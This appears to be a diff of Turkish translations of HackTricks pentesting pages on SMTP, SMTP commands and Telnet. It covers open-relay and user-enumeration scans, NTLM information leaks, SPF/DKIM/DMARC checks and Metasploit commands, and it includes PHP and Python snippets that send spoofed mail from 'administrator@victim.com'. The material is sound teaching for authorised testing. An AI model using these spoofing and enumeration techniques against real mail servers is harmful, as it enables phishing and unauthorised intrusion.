**Güvenlik açığı değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Get a hacker's perspective on your web apps, network, and cloud
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -25,7 +27,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
**Basit Posta Aktarım Protokolü (SMTP)**, **e-posta gönderimi ve alımı** için TCP/IP paketinde kullanılan bir protokoldür. Alıcı tarafında mesajları kuyruklama konusundaki sınırlamaları nedeniyle, SMTP genellikle **POP3 veya IMAP** ile birlikte kullanılır. Bu ek protokoller, kullanıcıların mesajları bir sunucu posta kutusunda saklamasına ve bunları periyodik olarak indirmesine olanak tanır.
Pratikte, **e-posta programlarının** **e-postaları göndermek için SMTP'yi** kullanması, **POP3 veya IMAP'ı** almak için kullanması yaygındır. Unix tabanlı sistemlerde, **sendmail** e-posta amaçları için en sık kullanılan SMTP sunucusu olarak öne çıkar. Sendmail olarak bilinen ticari paket bir POP3 sunucusunu kapsamaktadır. Ayrıca, **Microsoft Exchange** bir SMTP sunucusu sağlar ve POP3 desteği ekleme seçeneği sunar.
Pratikte, **e-posta programlarının** **e-postaları göndermek için SMTP'yi** kullanması, **e-postaları almak için ise POP3 veya IMAP'ı** kullanması yaygındır. Unix tabanlı sistemlerde, **sendmail** e-posta amaçları için en sık kullanılan SMTP sunucusu olarak öne çıkar. Sendmail olarak bilinen ticari paket, bir POP3 sunucusunu kapsamaktadır. Ayrıca, **Microsoft Exchange** bir SMTP sunucusu sağlar ve POP3 desteği ekleme seçeneği sunar.
**Varsayılan port:** 25,465(ssl),587(ssl)
```
@ -38,7 +40,7 @@ Eğer **kurbanın size bir e-posta göndermesini sağlama** fırsatınız varsa
Ayrıca, **mevcut olmayan bir adrese** e-posta göndermeye çalışarak bir SMTP sunucusundan e-posta alabilirsiniz (çünkü sunucu saldırgana bir NDN e-postası gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun.
Ayrıca, **daha ilginç bilgiler bulabileceğiniz için farklı içerikler göndermeyi** denemelisiniz, başlıklarda: `X-Virus-Scanned: by av.domain.com` gibi.\
Ayrıca, **farklı içerikler göndermeyi deneyin çünkü başlıklarda daha ilginç bilgiler bulabilirsiniz**: `X-Virus-Scanned: by av.domain.com`\
EICAR test dosyasını göndermelisiniz.\
**AV**'yi tespit etmek, **bilinen zafiyetleri** istismar etmenizi sağlayabilir.
@ -66,7 +68,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - Bilgi sızıntısı
Eğer sunucu NTLM kimlik doğrulamayı (Windows) destekliyorsa, hassas bilgilere (sürümler) ulaşabilirsiniz. Daha fazla bilgi [**burada**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
Eğer sunucu NTLM auth (Windows) destekliyorsa, hassas bilgilere (sürümler) ulaşabilirsiniz. Daha fazla bilgi [**burada**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
@ -102,7 +104,7 @@ MAIL FROM: me
```
### Sniffing
Port 25'ten paketlerden bazı şifreleri koklayıp koklayamayacağını kontrol et
Port 25'ten paketlerden bazı şifreleri koklayıp koklayamadığınızı kontrol edin.
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
@ -173,13 +175,15 @@ Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## DSN Raporları
**Teslimat Durumu Bildirim Raporları**: Bir kuruluşa **geçersiz bir adrese** **e-posta** gönderdiğinizde, kuruluş bu adresin geçersiz olduğunu size **bir e-posta geri göndererek** bildirecektir. Dönen e-postanın **başlıkları**, olası **hassas bilgileri** (raporlarla etkileşime giren e-posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi) **içerebilir**.
**Teslimat Durumu Bildirim Raporları**: Bir **e-posta**'yı bir kuruluşa **geçersiz bir adrese** gönderdiğinizde, kuruluş geçersiz adres olduğunu size **bir e-posta geri göndererek** bildirecektir. **Geri dönen e-posta'nın başlıkları**, olası **hassas bilgileri** (raporlarla etkileşime giren e-posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi) **içerecektir**.
## [Komutlar](smtp-commands.md)
@ -248,7 +252,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling
SMTP Smuggling açığı, tüm SMTP korumalarını atlamaya izin veriyordu (korumalar hakkında daha fazla bilgi için bir sonraki bölüme bakın). SMTP Smuggling hakkında daha fazla bilgi için:
SMTP Smuggling açığı, tüm SMTP korumalarını atlamaya izin verdi (korumalar hakkında daha fazla bilgi için bir sonraki bölüme bakın). SMTP Smuggling hakkında daha fazla bilgi için:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
@ -277,12 +281,12 @@ Ayrıca, önceki spf kayıtlarını yeniden kullanmak için genellikle `"v=spf1
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Her zaman eşleşir; önceki mekanizmalarla eşleşmeyen tüm IP'ler için `-all` gibi varsayılan bir sonuç için kullanılır. |
| A | Alan adı, gönderenin adresine çözülebilen bir adres kaydına (A veya AAAA) sahipse, eşleşir. |
| IP4 | Gönderen, belirli bir IPv4 adres aralığındaysa, eşleşir. |
| IP6 | Gönderen, belirli bir IPv6 adres aralığındaysa, eşleşir. |
| MX | Alan adı, gönderenin adresine çözülen bir MX kaydına sahipse, eşleşir (yani, e-posta alan adının gelen e-posta sunucularından birinden gelir). |
| IP4 | Gönderen belirli bir IPv4 adres aralığındaysa, eşleşir. |
| IP6 | Gönderen belirli bir IPv6 adres aralığındaysa, eşleşir. |
| MX | Alan adı, gönderenin adresine çözülen bir MX kaydına sahipse, eşleşir (yani, e-posta alanın gelen e-posta sunucularından birinden gelir). |
| PTR | Müşterinin adresi için alan adı (PTR kaydı) belirtilen alanda ise ve bu alan adı müşterinin adresine çözülüyorsa (ileri onaylı ters DNS), eşleşir. Bu mekanizma önerilmez ve mümkünse kaçınılmalıdır. |
| EXISTS | Belirtilen alan adı herhangi bir adrese çözülüyorsa, eşleşir (çözülen adres ne olursa olsun). Bu nadiren kullanılır. SPF makro dili ile birlikte, DNSBL sorguları gibi daha karmaşık eşleşmeler sunar. |
| INCLUDE | Başka bir alanın politikasını referans alır. O alanın politikası geçerse, bu mekanizma geçer. Ancak, dahil edilen politika başarısız olursa, işleme devam eder. Başka bir alanın politikasına tamamen devretmek için, yönlendirme uzantısı kullanılmalıdır. |
| INCLUDE | Başka bir alanın politikasına atıfta bulunur. O alanın politikası geçerse, bu mekanizma geçer. Ancak, dahil edilen politika başarısız olursa, işleme devam edilir. Başka bir alanın politikasına tamamen devretmek için yönlendirme uzantısı kullanılmalıdır. |
| REDIRECT | <p>Yönlendirme, bir SPF politikasını barındıran başka bir alan adına işaret eden bir işarettir, bu da birden fazla alanın aynı SPF politikasını paylaşmasına olanak tanır. Aynı e-posta altyapısını paylaşan çok sayıda alanla çalışırken faydalıdır.</p><p>Yönlendirme Mekanizmasında belirtilen alanın SPF politikası kullanılacaktır.</p> |
Ayrıca, **bir mekanizma eşleşirse ne yapılması gerektiğini** belirten **Nitelikler** tanımlamak da mümkündür. Varsayılan olarak, **nitelik "+"** kullanılır (yani, herhangi bir mekanizma eşleşirse, bu izin verildiği anlamına gelir).\
@ -318,11 +322,11 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
```
Geleneksel olarak, doğru/hiçbir SPF kaydı olmayan herhangi bir alan adını taklit etmek mümkündü. **Günümüzde**, eğer **email** geçerli bir **SPF kaydı olmayan bir alan adından** geliyorsa, muhtemelen **otomatik olarak reddedilecek/ güvensiz olarak işaretlenecektir**.
Bir alan adının SPF'sini kontrol etmek için çevrimiçi araçlar kullanabilirsiniz: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
Bir alan adının SPF'sini kontrol etmek için şu çevrimiçi araçları kullanabilirsiniz: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
### DKIM (DomainKeys Identified Mail)
DKIM, dışa giden e-postaları imzalamak için kullanılır ve bunların, alan adının DNS'inden alınan genel anahtar aracılığıyla dış Mail Transfer Agent'ları (MTA'lar) tarafından doğrulanmasına olanak tanır. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için hem seçici hem de alan adı bilinmelidir.
DKIM, dışa giden e-postaları imzalamak için kullanılır ve bu sayede dış Mail Transfer Agents (MTA'lar) tarafından alan adının DNS'inden alınan genel anahtar ile doğrulanmalarını sağlar. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için hem seçici hem de alan adı bilinmelidir.
Örneğin, anahtarı talep etmek için alan adı ve seçici gereklidir. Bunlar, mail başlığında `DKIM-Signature` içinde bulunabilir, örneğin `d=gmail.com;s=20120113`.
@ -334,7 +338,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC, SPF ve DKIM protokollerinin üzerine inşa edilerek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesinde, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceği gibi politikaları belirler.
DMARC, SPF ve DKIM protokollerinin üzerine inşa ederek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesiyle ilgili olarak, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceği gibi politikaları belirler.
**DMARC kaydını almak için \_dmarc alt alan adını sorgulamanız gerekir**
```bash
@ -356,38 +360,38 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| ---------- | -------------------------------------------- | ------------------------------- |
| v | Protokol versiyonu | v=DMARC1 |
| pct | Filtrelemeye tabi tutulan mesajların yüzdesi| pct=20 |
| ruf | Adli raporlar için raporlama URI'si | ruf=mailto:authfail@example.com |
| rua | Toplu raporlar için raporlama URI'si | rua=mailto:aggrep@example.com |
| p | Kurumsal alan için politika | p=quarantine |
| sp | OD'nin alt alanları için politika | sp=reject |
| adkim | DKIM için hizalama modu | adkim=s |
| aspf | SPF için hizalama modu | aspf=r |
| ruf | Adli raporlar için raporlama URI'si | ruf=mailto:authfail@example.com |
| rua | Toplu raporlar için raporlama URI'si | rua=mailto:aggrep@example.com |
| p | Kurumsal alan için politika | p=quarantine |
| sp | OD'nin alt alanları için politika | sp=reject |
| adkim | DKIM için hizalama modu | adkim=s |
| aspf | SPF için hizalama modu | aspf=r |
### **Alt Alan Adları Ne Olacak?**
**Buradan** [**buraya**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Mail göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmalısınız.\
Aşağıdaki bilgi, bu tür şeyler için harika bir kaynak olan openspf.org'da ilk olarak yayınlanmıştır.
Aşağıdaki bilgiler, bu tür şeyler için harika bir kaynak olan openspf.org'da ilk olarak yayınlanmıştır.
> Demon Sorusu: Alt alan adları ne olacak?
>
> Eğer pielovers.demon.co.uk adresinden mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanması mantıklı olmaz; eğer Demon bunu istiyorsa, her alt alan için SPF kayıtları oluşturabilir.
> Eğer pielovers.demon.co.uk adresinden mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanması mantıklı olmaz; eğer Demon bunu yapmak istiyorsa, her alt alan için SPF kayıtları oluşturabilir.
>
> Bu nedenle SPF yayıncılarına tavsiye şudur: A veya MX kaydı olan her alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz.
>
> Yıldızlı A veya MX kayıtlarına sahip sitelerin de şu biçimde bir yıldızlı SPF kaydına sahip olması gerekir: \* IN TXT "v=spf1 -all"
> Yıldız karakterli A veya MX kayıtlarına sahip sitelerin de şu biçimde bir yıldız karakterli SPF kaydına sahip olması gerekir: \* IN TXT "v=spf1 -all"
Bu mantıklıdır - bir alt alan çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
Bu mantıklıdır - bir alt alan, çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
### **Açık İletim**
E-postalar gönderildiğinde, spam olarak işaretlenmemelerini sağlamak çok önemlidir. Bu genellikle **alıcı tarafından güvenilen bir iletim sunucusu** kullanılarak sağlanır. Ancak, yaygın bir zorluk, yöneticilerin hangi **IP aralıklarının güvenli olduğunu tam olarak bilmemesidir**. Bu anlayış eksikliği, SMTP sunucusunun kurulumu sırasında hatalara yol açabilir; bu, güvenlik değerlendirmelerinde sıkça tespit edilen bir risktir.
Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişimde e-posta teslimat sorunlarını önlemek için kullandığı bir geçici çözüm, **herhangi bir IP adresinden bağlantılara izin vermektir**. Bu, SMTP sunucusunun `mynetworks` parametresinin tüm IP adreslerini kabul edecek şekilde yapılandırılmasıyla yapılır, aşağıda gösterildiği gibi:
Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişimde e-posta teslimat sorunlarından kaçınmak için kullandığı bir çözüm, **herhangi bir IP adresinden bağlantılara izin vermektir**. Bu, SMTP sunucusunun `mynetworks` parametresinin tüm IP adreslerini kabul edecek şekilde yapılandırılmasıyla yapılır, aşağıda gösterildiği gibi:
```bash
mynetworks = 0.0.0.0/0
```
Bir mail sunucusunun açık bir relay olup olmadığını kontrol etmek için (bu, herhangi bir dış kaynaktan e-posta iletebileceği anlamına gelir), `nmap` aracı yaygın olarak kullanılır. Bu testi yapmak için tasarlanmış özel bir script içerir. `nmap` kullanarak 25 numaralı portta bir sunucuda (örneğin, IP 10.10.10.10 ile) ayrıntılı bir tarama gerçekleştirmek için komut:
Bir mail sunucusunun açık bir relay olup olmadığını kontrol etmek için (bu, herhangi bir dış kaynaktan e-posta iletebileceği anlamına gelir), `nmap` aracı yaygın olarak kullanılır. Bu testi yapmak için özel bir script içerir. `nmap` kullanarak 25 numaralı portta bir sunucuda (örneğin, IP 10.10.10.10 ile) ayrıntılı bir tarama gerçekleştirmek için komut:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -438,7 +442,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
{% tabs %}
{% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Bu, imzasız bir mesaj gönderecektir
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
</strong><strong>mail("your_email@gmail.com", "Test Konusu!", "hey! Bu bir test", "From: administrator@victim.com");
</strong></code></pre>
{% endtab %}
@ -510,13 +514,13 @@ s.sendmail(sender, [destination], msg_data)
* Alan adının yaşı
* IP adreslerine işaret eden bağlantılar
* Bağlantı manipülasyon teknikleri
* Şüpheli (olağandışı) ekler
* Şüpheli (olağan dışı) ekler
* Bozuk e-posta içeriği
* E-posta başlıklarından farklı olan kullanılan değerler
* Geçerli ve güvenilir bir SSL sertifikasının varlığı
* Sayfanın web içerik filtreleme sitelerine gönderilmesi
## SMTP üzerinden dışa aktarma
## SMTP üzerinden dışa aktarım
**Eğer verileri SMTP üzerinden gönderebiliyorsanız** [**bunu okuyun**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
@ -524,7 +528,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
Genellikle, eğer kuruluysa, `/etc/postfix/master.cf` dosyası, örneğin bir kullanıcı tarafından yeni bir e-posta alındığında **çalıştırılacak betikleri** içerir. Örneğin `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, kullanıcı mark tarafından yeni bir e-posta alındığında `/etc/postfix/filtering`'in çalıştırılacağını belirtir.
Genellikle, yüklüyse, `/etc/postfix/master.cf` dosyası, örneğin bir kullanıcı tarafından yeni bir e-posta alındığında **çalıştırılacak betikleri** içerir. Örneğin `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, kullanıcı mark tarafından yeni bir e-posta alındığında `/etc/postfix/filtering`'in çalıştırılacağını belirtir.
Diğer konfigürasyon dosyaları:
```
@ -589,7 +593,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -602,7 +608,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,14 +17,16 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell açmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
**Komutlar:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
**HELO**\
İlk SMTP komutudur: gönderen sunucuyu tanımlayarak konuşmayı başlatır ve genellikle alan adı ile takip edilir.
Bu, ilk SMTP komutudur: gönderen sunucuyu tanımlayarak konuşmayı başlatır ve genellikle alan adı ile takip edilir.
**EHLO**\
Konuşmayı başlatmak için alternatif bir komut olup, sunucunun Genişletilmiş SMTP protokolünü kullandığını belirtir.
@ -45,7 +47,7 @@ DATA komutu ile e-posta içeriği aktarılmaya başlanır; genellikle sunucu tar
Sunucudan belirli bir e-posta adresinin veya kullanıcı adının gerçekten var olup olmadığını doğrulaması istenir.
**TURN**\
Bu komut, istemci ve sunucu arasındaki rolleri tersine çevirmek için kullanılır, yeni bir bağlantı kurmaya gerek kalmadan.
Bu komut, yeni bir bağlantı kurmaya gerek kalmadan istemci ve sunucu arasındaki rolleri tersine çevirmek için kullanılır.
**AUTH**\
AUTH komutu ile istemci kendini sunucuya kimlik doğrulaması yapar, kullanıcı adı ve şifresini verir. Bu, düzgün bir iletimi garanti etmek için başka bir güvenlik katmanıdır.
@ -54,17 +56,19 @@ AUTH komutu ile istemci kendini sunucuya kimlik doğrulaması yapar, kullanıcı
Devam eden e-posta iletiminin sonlandırılacağını sunucuya bildirir, ancak SMTP konuşması kapatılmaz (QUIT durumunda olduğu gibi).
**EXPN**\
Bu SMTP komutu, bir posta listesinin tanımlanması hakkında bir onay talep eder.
Bu SMTP komutu, bir posta listesinin kimliğinin doğrulanması hakkında onay ister.
**HELP**\
Bu, e-postanın başarılı bir şekilde iletimi için faydalı olabilecek bazı bilgileri istemcinin talebidir.
Bu, e-postanın başarılı bir şekilde iletilmesi için faydalı olabilecek bazı bilgileri istemcinin talebidir.
**QUIT**\
SMTP konuşmasını sonlandırır.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell açmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -77,7 +81,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell açmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Get a hacker's perspective on your web apps, network, and cloud
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -41,13 +43,13 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
`telnet-ntlm-info.nse` betiği NTLM bilgilerini (Windows sürümleri) alacaktır.
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'den: TELNET Protokolünde, bir kullanıcının ve sunucunun TELNET bağlantıları için daha ayrıntılı (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanımak için "**DO, DON'T, WILL, WON'T**" yapısıyla kullanılabilecek çeşitli "**seçenekler**" bulunmaktadır. Bu seçenekler karakter setini değiştirmek, yankı modunu değiştirmek vb. içerebilir.
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'den: TELNET Protokolünde, bir kullanıcının ve sunucunun TELNET bağlantıları için daha ayrıntılı (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanıyan çeşitli "**seçenekler**" bulunmaktadır. Bu seçenekler karakter setini değiştirmek, yankı modunu değiştirmek vb. içerebilir.
**Bu seçenekleri sıralamanın mümkün olduğunu biliyorum ama nasıl yapıldığını bilmiyorum, eğer biliyorsanız lütfen bana bildirin.**
**Bu seçenekleri sıralamanın mümkün olduğunu biliyorum ama nasıl yapıldığını bilmiyorum, bu konuda bir bilginiz varsa lütfen bana bildirin.**
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)
## Config file
## Config dosyası
```bash
/etc/inetd.conf
/etc/xinetd.d/telnet
@ -87,7 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
